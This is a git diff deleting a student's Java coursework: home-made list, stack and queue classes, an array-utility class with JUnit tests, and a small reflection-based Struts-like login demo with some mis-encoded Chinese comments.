diff --git a/group23/1246614258/src/com/coding/datastructs/ArrayList.java b/group23/1246614258/src/com/coding/datastructs/ArrayList.java
deleted file mode 100644
index bf8da9cccc..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/ArrayList.java
+++ /dev/null
@@ -1,98 +0,0 @@
-package com.coding.datastructs;
-
-import java.util.ConcurrentModificationException;
-import java.util.NoSuchElementException;
-
-
-public class ArrayList implements List {
-	
-	private int size = 0;
-	
-	private Object[] elementData = null;
-	
-	public ArrayList(){
-		size=0;
-		elementData=new Object[10];
-	}
-	
-	public void add(Object o){
-		size();
-		elementData=grow(elementData,1);
-		elementData[size] = o;
-	}
-	public void add(int index, Object o){
-		 size();
-		if (index >size || index < 0||index == size)
-		    throw new IndexOutOfBoundsException(
-			"Index: "+index+", Size: "+size);
-		Object temp = elementData;
-		elementData=grow(elementData,1);  // Increments modCount!!
-		System.arraycopy(temp, index, elementData, index + 1,
-				 size - index);
-		elementData[index] = o;
-	}
-	
-	public Object get(int index){
-		size();
-		if (index > size || index < 0 ||index == size)
-		    throw new IndexOutOfBoundsException(
-			"Index: "+index+", Size: "+size);
-		return elementData[index];
-	}
-	
-	public Object remove(int index){
-		size();
-		if (index > size || index < 0 ||index == size)
-		    throw new IndexOutOfBoundsException(
-			"Index: "+index+", Size: "+size);
-		Object tempData = elementData[index];
-		System.arraycopy(elementData, index+1, elementData, index,
-				 size - index);
-		return tempData;
-	}
-	
-	public int size(){
-		for(int i=0;i<elementData.length;i++){
-			if(null==elementData[i]){
-				size=i;
-				break;
-			}
-		}
-		return size;
-	}
-	public static Object[] grow(Object[] src,int size){
-		Object[] target = new Object[src.length+size];
-		System.arraycopy(src, 0, target, 0, src.length);
-		return target;
-	} 
-	public Iterator iterator(){
-		return new Itera();
-	}
-	private class Itera implements Iterator{
-		int cursor; 
-		int lastRet = -1; 
-
-		
-		public boolean hasNext() {
-			size();
-			// TODO Auto-generated method stub
-			return cursor!=size;
-		}
-		public Object next() {
-			// TODO Auto-generated method stub
-			int i = cursor;
-            if (i >= size)
-                throw new NoSuchElementException();
-            Object[] elementData = ArrayList.this.elementData;
-            if (i >= elementData.length)
-                throw new ConcurrentModificationException();
-            cursor = i + 1;
-            return  elementData[lastRet = i];
-		}
-
-		
-}
-	
-	
-	
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/Iterator.java b/group23/1246614258/src/com/coding/datastructs/Iterator.java
deleted file mode 100644
index 56acec15a3..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/Iterator.java
+++ /dev/null
@@ -1,7 +0,0 @@
-package com.coding.datastructs;
-
-public interface Iterator {
-	public boolean hasNext();
-	public Object next();
-
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/LinkedList.java b/group23/1246614258/src/com/coding/datastructs/LinkedList.java
deleted file mode 100644
index cd5de44121..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/LinkedList.java
+++ /dev/null
@@ -1,229 +0,0 @@
-package com.coding.datastructs;
-
-public class LinkedList implements List{
-
-	private Node head;
-	private int size ;
-
-	public LinkedList() {
-		size = 0;
-		head=new Node();
-	}
-
-	public void add(Object o) {
-		Node pnew = new Node();
-		pnew.setData(o);
-		pnew.next = null;
-		if(null==head.getNext()){
-			head.setNext(pnew);
-			return;
-		}
-		Node ptr = head.getNext();
-		Node ptr1 = new Node();
-		
-		while (ptr != null) {
-			ptr1 = ptr;
-			ptr = ptr.getNext();
-		}
-		ptr1.next = pnew;
-
-	}
-
-	public void add(int index, Object o) {
-		size();
-		if (index > size || index < 0)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr;
-		Node ptemp = new Node();
-		;
-		Node pnew;// ʵ�����½ڵ�
-		ptr = head.getNext();
-		int i = 0;
-		if (ptr == null && size == 0) {
-			System.out.println("��������ʧ�ܣ�");
-		}
-		while (ptr != null) {
-			ptemp = ptr;
-			if (index == 0) {
-				pnew = new Node();
-				pnew.setData(o);
-				pnew.setNext(ptr);
-				head.setNext(pnew);
-				break;
-			}
-			if (index == i && index > 0) {
-				ptemp = getNode(i-1);
-				pnew = new Node();
-				pnew.setData(o);
-				pnew.setNext(ptr);
-				ptemp.setNext(pnew);//
-				System.out.println("��������" + o + "�ɹ���");
-				break;
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-		if (ptr == null && size > 0) {
-			pnew = new Node();
-			pnew.setData(o);
-			pnew.setNext(null);
-			ptemp.setNext(pnew);//
-			System.out.println("��������" + o + "�ɹ���");
-		}
-
-	}
-
-	public Object get(int index) {
-		size();
-		if (index > size || index < 0 || index == size)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr = head.getNext();
-		Object tempData = null;
-		int i = 0;
-		while (ptr != null) {
-			if (index == i) {
-				tempData = ptr.getData();
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-
-		return tempData;
-	}
-
-	public Node getNode(int index) {
-		size();
-		if (index > size || index < 0 || index == size)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr = head.getNext();
-		Node tempData = null;
-		int i = 0;
-		while (ptr != null) {
-			if (index == i) {
-				tempData = ptr;
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-
-		return tempData;
-	}
-
-	public Object remove(int index) {
-		size();
-		if(size()==0){
-			throw new NullPointerException("list�ڲ�Ϊ�գ�����ɾ������");
-		}
-		if (index > size || index < 0 || index == size)
-			throw new IndexOutOfBoundsException("Index: " + index + ", Size: "
-					+ size);
-		Node ptr = head.getNext();
-		Node ptrNext = new Node();
-		Object tempData = null;
-		int i = 0;
-		while (ptr != null) {
-			if (index == 0) {
-				ptrNext = ptr.getNext();
-				head.setNext(ptrNext);
-				break;
-			}
-			if (index == i && index > 0) {
-				Node ptrprevious = getNode(i - 1);
-				tempData = ptr.getData();
-				ptrprevious.setNext(ptr.getNext());
-				break;
-			}
-			ptr = ptr.getNext();
-			i++;
-		}
-		return tempData;
-	}
-
-	public int size() {
-		int i = 0;
-		Node ptr = head.getNext();
-		while (ptr != null) {
-			ptr = ptr.getNext();
-			i++;
-		}
-		size = i;
-		return size;
-	}
-
-	public void addFirst(Object o) {
-		add(0,o);
-
-	}
-
-	public void addLast(Object o) {
-		/*Node ptr = head.getNext();
-		Node pnew = new Node();
-		pnew.setData(o);
-		Node ptemp = new Node();
-		if (ptr == null) {
-			head.setNext(pnew);
-		} else {
-			while (ptr != null) {
-				ptemp = ptr;
-				ptr = ptr.getNext();
-			}
-			if (ptr == null) {
-				ptemp.setNext(pnew);
-			}
-		}*/
-		add(size(),o);
-
-	}
-
-	public Object removeFirst() {
-		Node ptr = head.getNext();
-		Object temp = null;
-		if (ptr == null) {
-			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
-		} else {
-			temp = ptr.getData();
-			remove(0);
-		}
-
-		return temp;
-	}
-
-	public Object removeLast() {
-		size();
-		Node ptr = head.getNext();
-		Object temp = null;
-		if (ptr == null) {
-			throw new NullPointerException("LinkedList���������ݣ����ܽ���ɾ������");
-		} else {
-			temp = remove(size - 1);
-		}
-
-		return temp;
-	}
-
-	private static class Node {
-		Object data;
-		Node next;
-
-		public Object getData() {
-			return data;
-		}
-
-		public void setData(Object data) {
-			this.data = data;
-		}
-
-		public Node getNext() {
-			return next;
-		}
-
-		public void setNext(Node next) {
-			this.next = next;
-		}
-
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/List.java b/group23/1246614258/src/com/coding/datastructs/List.java
deleted file mode 100644
index 35ece31ca6..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/List.java
+++ /dev/null
@@ -1,9 +0,0 @@
-package com.coding.datastructs;
-
-public interface List {
-	public void add(Object o);
-	public void add(int index, Object o);
-	public Object get(int index);
-	public Object remove(int index);
-	public int size();
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/MyIterator.java b/group23/1246614258/src/com/coding/datastructs/MyIterator.java
deleted file mode 100644
index be827a7875..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/MyIterator.java
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coding.datastructs;
-
-import java.util.Iterator;
-
-public class MyIterator {
-	public Iterator iterator(){
-		return null;
-	}
-	private class Itera implements Iterator<Object>{
-		int cursor; 
-		int lastRet = -1; 
-
-		@Override
-		public boolean hasNext() {
-			// TODO Auto-generated method stub
-			return false;
-		}
-
-		@Override
-		public Object next() {
-			// TODO Auto-generated method stub
-			return null;
-		}
-
-		@Override
-		public void remove() {
-			// TODO Auto-generated method stub
-			
-		}
-
-		
-		
-	}
-	
-}
diff --git a/group23/1246614258/src/com/coding/datastructs/Queue.java b/group23/1246614258/src/com/coding/datastructs/Queue.java
deleted file mode 100644
index 4e36db418a..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/Queue.java
+++ /dev/null
@@ -1,30 +0,0 @@
-package com.coding.datastructs;
-	public class Queue{
-		private LinkedList list = new LinkedList();
-		
-		public void enQueue(Object o){	
-			list.add(o);
-		}
-		
-		public Object deQueue(){
-			if (list.size()<=0) {
-				throw new NullPointerException("Queue���������ݣ����ܽ���ɾ������");
-			}
-			Object o = list.get(0);
-			list.removeFirst();
-			return o;
-		}
-		
-		public boolean isEmpty(){
-			int count = size();
-			if(count<0){
-				return true;
-			}
-			return false;
-		}
-		
-		public int size(){
-			return list.size();
-		}
-	}
-
diff --git a/group23/1246614258/src/com/coding/datastructs/Stack.java b/group23/1246614258/src/com/coding/datastructs/Stack.java
deleted file mode 100644
index 269f3c900e..0000000000
--- a/group23/1246614258/src/com/coding/datastructs/Stack.java
+++ /dev/null
@@ -1,33 +0,0 @@
-package com.coding.datastructs;
-
-public class Stack {
-	private ArrayList elementData = new ArrayList();
-	
-	public void push(Object o){	
-		elementData.add(o);
-	}
-	
-	public Object pop(){
-		if (elementData.size()<=0) {
-			throw new NullPointerException("Stack���������ݣ����ܽ���ɾ������"); 
-		}
-		Object data = elementData.get(elementData.size()-1);
-		elementData.remove(size()-1);
-		return data;
-	}
-	
-	public Object peek(){
-		Object data = elementData.get(elementData.size()-1);
-		return data;
-	}
-	public boolean isEmpty(){
-		if(elementData.size()>0){
-			return false;
-		}else{
-			return false;	
-		}
-	}
-	public int size(){
-		return elementData.size();
-	}
-}
diff --git a/group23/1246614258/src/com/coding/test/ArrayListTest.java b/group23/1246614258/src/com/coding/test/ArrayListTest.java
deleted file mode 100644
index 76ba571c78..0000000000
--- a/group23/1246614258/src/com/coding/test/ArrayListTest.java
+++ /dev/null
@@ -1,32 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.ArrayList;
-import com.coding.datastructs.Iterator;
-
-
-public class ArrayListTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����12:08:10
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		ArrayList aa = new ArrayList();
-		aa.add("aa");
-		aa.add("bb");
-		aa.add("cc");
-		//aa.remove(3);
-		aa.add(2, "44");
-		for(int i=0;i<aa.size();i++){
-			System.out.println(aa.get(i));
-		}
-		Iterator it = aa.iterator();
-		while(it.hasNext()){
-			System.out.println(it.next());
-		}
-
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/test/LinkedListTest.java b/group23/1246614258/src/com/coding/test/LinkedListTest.java
deleted file mode 100644
index 4dfc329f05..0000000000
--- a/group23/1246614258/src/com/coding/test/LinkedListTest.java
+++ /dev/null
@@ -1,28 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.LinkedList;
-
-
-public class LinkedListTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����1:45:58
-	 */
-	
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		LinkedList list = new LinkedList();
-		list.add("a");
-		list.add("b");
-		list.add("c");
-		list.add("d");
-		list.removeLast();
-		for(int i=0;i<list.size();i++){
-			System.out.println(list.get(i));
-			
-		}
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/test/QueueTest.java b/group23/1246614258/src/com/coding/test/QueueTest.java
deleted file mode 100644
index c9ec4fbf65..0000000000
--- a/group23/1246614258/src/com/coding/test/QueueTest.java
+++ /dev/null
@@ -1,22 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.Queue;
-
-
-public class QueueTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����2:42:15
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		Queue q = new Queue();
-		q.enQueue("a");
-		q.enQueue("b");
-		System.out.println(q.deQueue());
-
-	}
-
-}
diff --git a/group23/1246614258/src/com/coding/test/StackTest.java b/group23/1246614258/src/com/coding/test/StackTest.java
deleted file mode 100644
index 41f2a15b5b..0000000000
--- a/group23/1246614258/src/com/coding/test/StackTest.java
+++ /dev/null
@@ -1,25 +0,0 @@
-package com.coding.test;
-import com.coding.datastructs.Stack;
-
-
-public class StackTest {
-
-	/**
-	 * <p>Description:</p>
-	 * @param args
-	 * @author:Wilson huang
-	 * @date 2017-3-12����2:34:15
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-		Stack a = new Stack();
-		a.push("a");
-		a.push("b");
-		a.push("c");
-		System.out.println(a.isEmpty());
-		System.out.println(a.peek());
-		System.out.println(a.pop());
-
-	}
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
deleted file mode 100644
index ff773dffcc..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/datastructs/ArrayUtil.java"
+++ /dev/null
@@ -1,141 +0,0 @@
-/**
- * 
- */
-package com.coding.datastructs;
-
-import java.util.ArrayList;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Set;
-
-
-public class ArrayUtil {
-	
-	
-	public void reverseArray(int[] origin){
-		for (int i=0; i<origin.length/2; i++) {
-            int temp = origin[i];
-            origin[i] = origin[origin.length-1-i];
-            origin[origin.length-1-i] = temp;
-    }
-	}
-	
-	
-	
-	public int[] removeZero(int[] oldArray){
-		int count=0;
-		for(int i=0;i<oldArray.length;i++){
-			if(oldArray[i]!=0){
-				oldArray[count++]=oldArray[i];
-			}else{
-				continue;
-			}
-		}
-		return Arrays.copyOfRange(oldArray, 0, count);
-	}
-	
-	
-	
-	public int[] merge(int[] array1, int[] array2){
-		int length = array1.length+array2.length;
-		int[] newArray = new int[length];
-		System.arraycopy(array1, 0, newArray, 0,array1.length);
-		System.arraycopy(array2, 0, newArray, array1.length,array2.length);
-		Set<Integer> temp = new HashSet<Integer>();
-		for(Integer i : newArray)
-			temp.add(i); 
-        for (int i = 0; i < temp.size(); i++) {  
-        	newArray[i]=(int)temp.toArray()[i];
-        }
-        Arrays.sort(Arrays.copyOfRange(newArray, 0, temp.size()));
-		return  Arrays.copyOfRange(newArray, 0, temp.size());
-	}
-	
-	public int[] grow(int [] oldArray,  int size){
-			int[] target = new int[oldArray.length+size];
-			System.arraycopy(oldArray, 0, target, 0, oldArray.length);
-			return target;
-	}
-	
-	
-	public int[] fibonacci(int max){
-		ArrayList<Integer> list = new ArrayList<Integer>();
-        list.add(1);
-        list.add(1);
-        if(max<=1){
-        	return new int[0];
-        }
-        for (int i = 2; i < max; i++) {
-        	int a = list.get(i-1)+list.get(i-2);
-            if(a<max){
-            	list.add(a);
-            }else{
-            	break;
-            }
-        }
-        int[] newArray = new int[list.size()];
-        for(int i=0;i<list.size();i++){
-        	newArray[i]=(int)list.get(i);
-        }
-		return newArray;
-	}
-	
-	
-	public int[] getPrimes(int max){
-		ArrayList<Integer> list = new ArrayList<Integer>();
-		int j=1;
-		for(int i=2;i<100;i++){
-			j=i;
-			while(j>0){
-				if(i%j==0&&i!=j&&j!=1){
-					break;
-				}else{
-					j--;
-				}
-			}
-			if(j==0){
-				list.add(i);
-			}
-		}
-		int[] newArray = new int[list.size()];
-        for(int i=0;i<list.size();i++){
-        	newArray[i]=(int)list.get(i);
-        }
-		return newArray;
-	}
-	
-	
-	public int[] getPerfectNumbers(int max){
-		ArrayList<Integer> list = new ArrayList<Integer>();
-		for(int i = 1; i < max; i++)  
-        {  
-            int sum = 0;  
-            for(int j = 1; j < i; j++)  
-            {  
-                if(i % j == 0)  
-                {  
-                    sum = sum + j;    
-                }     
-            }  
-            if(sum == i)  
-            {  
-                list.add(i);  
-            }   
-        }
-		int[] newArray = new int[list.size()];
-        for(int i=0;i<list.size();i++){
-        	newArray[i]=(int)list.get(i);
-        }
-		return newArray;
-	}
-	
-	public String join(int[] array, String seperator){
-		StringBuilder str = new StringBuilder();
-		for(int i=0;i<array.length;i++){
-			str.append(array[i]).append(seperator);
-		}
-		return str.substring(0, str.length()-1).toString();
-	}
-	
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
deleted file mode 100644
index 17e7a06f0e..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/DataStructsTest/src/com/coding/test/ArrayUtilTest.java"
+++ /dev/null
@@ -1,86 +0,0 @@
-/**
- * 
- */
-package com.coding.test;
-
-
-import org.junit.Test;
-
-import com.coding.datastructs.ArrayUtil;
-
-
-public class ArrayUtilTest {
-	    @Test
-		public void reverseTest(){
-		ArrayUtil array = new ArrayUtil();
-		  int[] origin ={7,9,30,3,5,6,2,4,78,1,4,4567,3};
-		array.reverseArray(origin);
-		for(int i=0;i<origin.length;i++){
-			System.out.print(origin[i]+",");
-		}
-	}
-	    @Test
-	public void removeZeroTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] originArray ={0,1,3,4,5,0,0,6,6,0,5,4,7,6,7,0,5,0};
-		int[] newArray=array.removeZero(originArray);
-		for(int i=0;i<newArray.length;i++){
-			System.out.print(newArray[i]+",");
-		}
-	}
-	    @Test
-	public void mergeTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] a1 = {3, 5, 7,8}; 
-		int[] a2 = {4, 5, 6,7};
-		int[] a3 = array.merge(a1, a2);
-		for(int i=0;i<a3.length;i++){
-			System.out.print(a3[i]+",");
-		}
-		
-	}
-	    @Test
-	public void growTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] oldArray = {2,3,6};
-		oldArray = array.grow(oldArray, 3);
-		for(int i=0;i<oldArray.length;i++){
-			System.out.print(oldArray[i]+",");
-		}
-	}
-	    @Test
-	public void fibinaqiTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] a = array.fibonacci(56);
-		for(int i=0;i<a.length;i++){
-			System.out.print(a[i]+",");
-		}
-	}
-	    @Test
-	public void sushuTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] aa = array.getPrimes(100);
-		for(int t=0;t<aa.length;t++){
-			System.out.print(aa[t]+",");
-		}
-	}
-	    @Test	
-	public void perfectTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] aaa = array.getPerfectNumbers(1000);
-		for(int t=0;t<aaa.length;t++){
-			System.out.print(aaa[t]+",");
-		}
-	}
-	    @Test	
-	public void seperatorTest(){
-		ArrayUtil array = new ArrayUtil();
-		int[] arr = array.getPrimes(100);
-		String str = array.join(arr, "-");
-		System.out.println(str);
-	}
-		
-		//
-	
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
deleted file mode 100644
index 07d16b45d3..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/LoginAction.java"
+++ /dev/null
@@ -1,35 +0,0 @@
-package com.coderising.litestruts;
-
-
-public class LoginAction{
-    private String name ;
-    private String password;
-    private String message;
-
-    public String getName() {
-        return name;
-    }
-
-    public String getPassword() {
-        return password;
-    }
-
-    public String execute(){
-            if("test".equals(name) && "1234".equals(password)){
-                this.message = "login successful";
-                return "success";
-            }
-            this.message = "login failed,please check your user/pwd";
-            return "fail";
-    }
-
-    public void setName(String name){
-        this.name = name;
-    }
-    public void setPassword(String password){
-        this.password = password;
-    }
-    public String getMessage(){
-        return this.message;
-    }
-}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
deleted file mode 100644
index bdcafdff8a..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Struts.java"
+++ /dev/null
@@ -1,122 +0,0 @@
-package com.coderising.litestruts;
-
-import java.io.File;
-import java.lang.reflect.InvocationTargetException;
-import java.lang.reflect.Method;
-import java.util.ArrayList;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-import org.jdom.Document;
-import org.jdom.Element;
-import org.jdom.input.SAXBuilder;
-
-public class Struts {
-
-	public static View runAction(String actionName,
-			Map<String, String> parameters) {
-
-		
-		View view = new View();
-		Map<String,Map<String,String>> array = new HashMap<String, Map<String,String>>();
-		Map<String, Object> params = new HashMap<String, Object>();
-		Map<String, String> classData = new HashMap<String, String>();
-		try {
-			analysisXml(classData,array);
-			Map<String, String> jspData = array.get(actionName);
-			String s = "�Բ��������ݹ�����actionName��û�ж�Ӧ��class�࣬������Ҫ���´�";
-			if (!classData.containsKey(actionName)) {
-				throw new ClassNotFoundException(s);
-			}
-			
-			Class<?> class1 = Class.forName(classData.get(actionName));
-			LoginAction login = (LoginAction) class1.newInstance();
-			for (String ss : parameters.keySet()) {
-				Method[] methos1 = class1.getMethods();
-				for (int i = 0; i < methos1.length; i++) {
-					if (("set" + ss.substring(0, 1).toUpperCase() + ss
-							.substring(1)).equals(methos1[i].getName())) {
-						methos1[i].invoke(login, parameters.get(ss));
-						break;
-
-					}
-				}
-			}
-			
-			Method method1 = class1.getMethod("execute");
-			String result = (String) method1.invoke(login);
-			if(null!=result){
-				view.setJsp(jspData.get(result));
-			}
-			Method[] methos2 = class1.getMethods();
-			for (int i = 0; i < methos2.length; i++) {
-				if(methos2[i].getName().substring(0, 3).equals("get")){
-					Object value1 = (Object) (methos2[i].invoke(login));
-					String name1 = methos2[i].getName();
-					params.put(name1.substring(3, 4).toLowerCase()+name1.substring(4), value1);
-				}
-			}
-			view.setParameters(params);
-
-		} catch (Exception e) {
-			// TODO Auto-generated catch block
-			e.printStackTrace();
-		}
-
-		return view;
-	}
-
-	
-	public static void analysisXml(Map<String, String> xmlData,Map<String,Map<String,String>> array) {
-		try {
-			
-			String dirpath = System.getProperty("user.dir");
-			String xmlFile = dirpath + "/WebContent/WEB-INF/etc/struts.xml";
-			SAXBuilder builder = new SAXBuilder();
-			Document doc = builder.build(new File(xmlFile));
-			Element xRoot = doc.getRootElement();
-			List actions = getChildren(xRoot, "action");
-			for (int i = 0; i < actions.size(); i++) {
-				Element e = (Element) actions.get(i);
-				String actionName1 = getAttributeValue(e, "name");
-				String className = getAttributeValue(e, "class");
-				xmlData.put(actionName1, className);
-				List results = getChildren(e, "result");
-				Map<String, String> jspData = new HashMap<String, String>();
-				for (int j = 0; j < results.size(); j++) {
-					Element result = (Element) results.get(j);
-					String jspUrl = getValue(result);
-					String resultName = getAttributeValue(result, "name");
-					jspData.put(resultName, jspUrl);
-					array.put(actionName1, jspData);
-				}
-			}
-
-			// /StrutsDemo/WebContent/WEB-INF/etc/struts.xml
-		} catch (Exception e) {
-			e.printStackTrace();
-		}
-	}
-
-	
-	public static Element getChild(Element element, String sonMark) {
-		return element == null ? null : element.getChild(sonMark);
-	}
-
-	
-	public static List getChildren(Element element, String sonMark) {
-		return element == null ? null : element.getChildren(sonMark);
-	}
-
-	
-	public static String getValue(Element element) {
-		return element == null ? "" : element.getValue();
-	}
-
-	
-	public static String getAttributeValue(Element element, String attribute) {
-		return element == null ? null : element.getAttributeValue(attribute);
-	}
-
-}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
deleted file mode 100644
index 52f08f3652..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/StrutsTest.java"
+++ /dev/null
@@ -1,43 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.HashMap;
-import java.util.Map;
-
-import org.junit.Assert;
-import org.junit.Test;
-
-
-
-
-
-public class StrutsTest {
-
-	@Test
-	public void testLoginActionSuccess() {
-		
-		String actionName = "login";
-        
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","1234");
-        
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/homepage.jsp", view.getJsp());
-        Assert.assertEquals("login successful", view.getParameters().get("message"));
-	}
-
-	@Test
-	public void testLoginActionFailed() {
-		String actionName = "login";
-		Map<String,String> params = new HashMap<String,String>();
-        params.put("name","test");
-        params.put("password","123456"); //�����Ԥ��IJ�һ��
-        
-        View view  = Struts.runAction(actionName,params);        
-        
-        Assert.assertEquals("/jsp/showLogin.jsp", view.getJsp());
-        Assert.assertEquals("login failed,please check your user/pwd", view.getParameters().get("message"));
-	}
-}
\ No newline at end of file
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
deleted file mode 100644
index d7bcd36d42..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/Test.java"
+++ /dev/null
@@ -1,94 +0,0 @@
-/**
- * 
- */
-package com.coderising.litestruts;
-
-import java.io.BufferedReader;
-import java.io.File;
-import java.io.StringReader;
-import java.lang.reflect.Method;
-import java.util.HashMap;
-import java.util.List;
-import java.util.Map;
-
-import org.jdom.Document;
-import org.jdom.Element;
-import org.jdom.input.SAXBuilder;
-
-/**
- * Title:
- * Description:
- * @author HuangLiang
- * @2017��3��17������10:55:39
- * 
- */
-public class Test {
-
-	/**Description:
-	 * @param args
-	 * @author HuangLiang 2017��3��17�� ����10:55:39
-	 */
-	public static void main(String[] args) {
-		// TODO Auto-generated method stub
-			String name1 = "getName";
-			System.out.println(name1.substring(3, 4).toLowerCase()+name1.substring(4));
-			try {
-				Class<?> class1 = Class.forName("com.coderising.litestruts.LoginAction");
-				Method[] methos1 = class1.getMethods();
-				for(int i=0;i<methos1.length;i++){
-					Class<?> para[] = methos1[i].getParameterTypes();
-					throw new ClassNotFoundException();
-				}
-				System.out.println("���");
-			} catch (ClassNotFoundException e) {
-				// TODO Auto-generated catch block
-				e.printStackTrace();
-			}
-			
-	}
-	/**
-	 * ��ȡXML�ӱ�ǩ
-	 * 
-	 * @param element
-	 *            ��ǩ�ڵ�
-	 * @param sonMark
-	 *            �ӱ�ǩ
-	 * @return
-	 */
-	public static Element getChild(Element element, String sonMark) {
-		return element == null ? null : element.getChild(sonMark);
-	}
-
-	/**
-	 * ��ȡXML�ӱ�ǩ��
-	 * 
-	 * @param element
-	 *            ��ǩ�ڵ�
-	 * @param sonMark
-	 *            �ӱ�ǩ
-	 * @return
-	 */
-	public static List getChildren(Element element, String sonMark) {
-		return element == null ? null : element.getChildren(sonMark);
-	}
-
-	/**
-	 * s ��ȡXML��ǩֵ
-	 * 
-	 * @param element
-	 * @return
-	 */
-	public static String getValue(Element element) {
-		return element == null ? "" : element.getValue();
-	}
-	/**
-	 * s ��ȡXML����ֵ
-	 * 
-	 * @param element
-	 * @return
-	 */
-	public static String getAttributeValue(Element element, String attribute) {
-		return element == null ? null : element.getAttributeValue(attribute);
-	}
-
-}
diff --git "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java" "b/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
deleted file mode 100644
index f68a8c438b..0000000000
--- "a/group23/1246614258/\347\254\254\344\272\214\346\254\241\344\275\234\344\270\232/StrutsDemo/src/com/coderising/litestruts/View.java"
+++ /dev/null
@@ -1,23 +0,0 @@
-package com.coderising.litestruts;
-
-import java.util.Map;
-
-public class View {
-	private String jsp;
-	private Map parameters;
-	
-	public String getJsp() {
-		return jsp;
-	}
-	public View setJsp(String jsp) {
-		this.jsp = jsp;
-		return this;
-	}
-	public Map getParameters() {
-		return parameters;
-	}
-	public View setParameters(Map parameters) {
-		this.parameters = parameters;
-		return this;
-	}
-}
\ No newline at end of file
